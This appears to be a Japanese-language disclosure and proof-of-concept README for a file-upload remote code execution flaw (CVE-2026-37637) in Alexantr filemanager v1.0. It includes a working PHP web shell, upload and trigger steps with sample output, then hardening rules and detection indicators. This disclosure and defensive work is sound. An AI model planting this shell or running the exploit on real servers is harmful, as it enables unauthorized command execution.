
Alexantr filemanager v1.0における、無制限のファイルアップロードによるリモートコード実行
CVE-2026-37637 の概念実証 - Alexantr filemanager v1.0 における filemanager.php の無制限ファイルアップロードによるリモートコード実行
CVE-2026-37637 は、Alexantr filemanager v1.0 に影響を与えるリモートコード実行の脆弱性です。
この脆弱性は filemanager.php コンポーネントに存在し、アップロードされたファイルの検証が不十分であることが原因です。リモートの攻撃者は、悪意のある PHP ファイルを Web アクセス可能なディレクトリにアップロードし、サーバー上で任意のコマンドを実行できます。
CVE ステータス: MITRE に提出済み
研究者: CYBER-SEC ベンダーリポジトリ: https://github.com/alexantr/filemanager
| 項目 | 説明 |
|---|
| CVE ID | CVE-2026-37637 |
| 脆弱性の種類 | リモートコード実行 |
| 影響を受ける製品 | Alexantr filemanager |
| 影響を受けるバージョン | v1.0 |
| 脆弱性のあるコンポーネント | filemanager.php |
| 攻撃ベクトル | リモート |
| 認証の必要性 | デプロイメント/設定に依存 |
| 影響 | 任意のコマンド実行 |
| 根本原因 | 無制限のファイルアップロードとサーバー側ファイル検証の欠如 |
攻撃者は、ファイルアップロード機能を通じて悪意のある PHP ファイルをアップロードできます。アップロードされたファイルは Web アクセス可能な場所に保存され、PHP の実行が許可されているため、攻撃者はサーバー上で任意のシステムコマンドを実行できます。
悪用に成功すると、攻撃者は以下のことが可能になります:
このアプリケーションは、ファイル拡張子、MIME タイプ、ファイル内容を適切に検証せずに、ユーザーが任意のファイルをアップロードすることを許可します。
以下のような悪意のある PHP ファイルをアップロードできます:
<?php system($_GET['cmd']); ?>
Web アクセス可能なディレクトリにアップロードされると、攻撃者はブラウザからファイルにアクセスし、cmd パラメータを通じてコマンドを渡すことでコマンドを実行できます。
例:
http://target/uploads/shell.php?cmd=id
これにより、基盤となるオペレーティングシステム上でコマンドが実行されます。
git clone https://github.com/alexantr/filemanager
cd filemanager
php -S localhost:8000
ブラウザでアプリケーションを開きます:
http://localhost:8000/filemanager.php
デプロイメントや設定によっては、アプリケーションは以下からもアクセスできます:
http://localhost:8000/pheditor.php
shell.php という名前のファイルを作成します:
<?php system($_GET['cmd']); ?>
アプリケーションのアップロード機能を使用してファイルをアップロードします。
ファイルをアップロードした後、ブラウザから直接アクセスします:
http://localhost:8000/uploads/shell.php?cmd=id
悪用が成功すると、サーバーはコマンドを実行し、その出力を返します。
出力例:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<?php system($_GET['cmd']); ?>
GET /uploads/shell.php?cmd=id HTTP/1.1
Host: target
User-Agent: Mozilla/5.0
Connection: close
cmd パラメータを通じて指定されたコマンドがサーバー上で実行されます。
この脆弱性は、ファイルアップロード機能におけるサーバー側の検証が不十分であることが原因です。
アプリケーションは以下を適切に制限していません:
その結果、実行可能な PHP ファイルがアップロードされ、直接実行される可能性があります。
ベンダーとユーザーは、以下の保護策を実装する必要があります。
以下のような実行可能なファイルタイプのアップロードを禁止します:
.php, .phtml, .php3, .php4, .php5, .phar
期待されるファイルタイプのみを許可します。例:
.jpg, .png, .gif, .txt, .pdf
クライアントが提供する Content-Type ヘッダーのみに依存しないでください。
ファイル検証はサーバー側で実行する必要があります。
アップロードされたファイルは、直接実行可能または公開アクセス可能であってはなりません。
Apache の場合、.htaccess でこれを行うことができます:
php_flag engine off
RemoveHandler .php .phtml .php3 .php4 .php5 .phar
RemoveType .php .phtml .php3 .php4 .php5 .phar
Nginx の場合、アップロードパスでの PHP 処理を防ぎます:
location /uploads/ {
location ~ \.php$ {
deny all;
}
}
サーバーが生成したランダムなファイル名を使用し、ユーザーが制御する拡張子を削除します。
アップロード機能を信頼できるユーザーのみに制限します。
管理者は、Web アクセス可能なディレクトリ内の不審なアップロード済み PHP ファイルを探すことができます。
指標の例:
shell.php
cmd.php
upload.php
backdoor.php
アップロードディレクトリ内の .php ファイル
不審なリクエストパターンには以下が含まれる場合があります:
?cmd=
?exec=
?shell=
?command=
ログエントリの例:
GET /uploads/shell.php?cmd=id HTTP/1.1
このリポジトリは、教育および防御的なセキュリティ目的のみで提供されています。
ここに含まれる情報と概念実証は、開発者、システム管理者、セキュリティ専門家が脆弱性を理解し、修正するのに役立つことを目的としています。
明示的な許可なしにこの情報を使用してシステムを攻撃しないでください。コンピュータシステムへの不正アクセスは違法です。
著者は、このリポジトリで提供される情報の誤用について一切責任を負いません。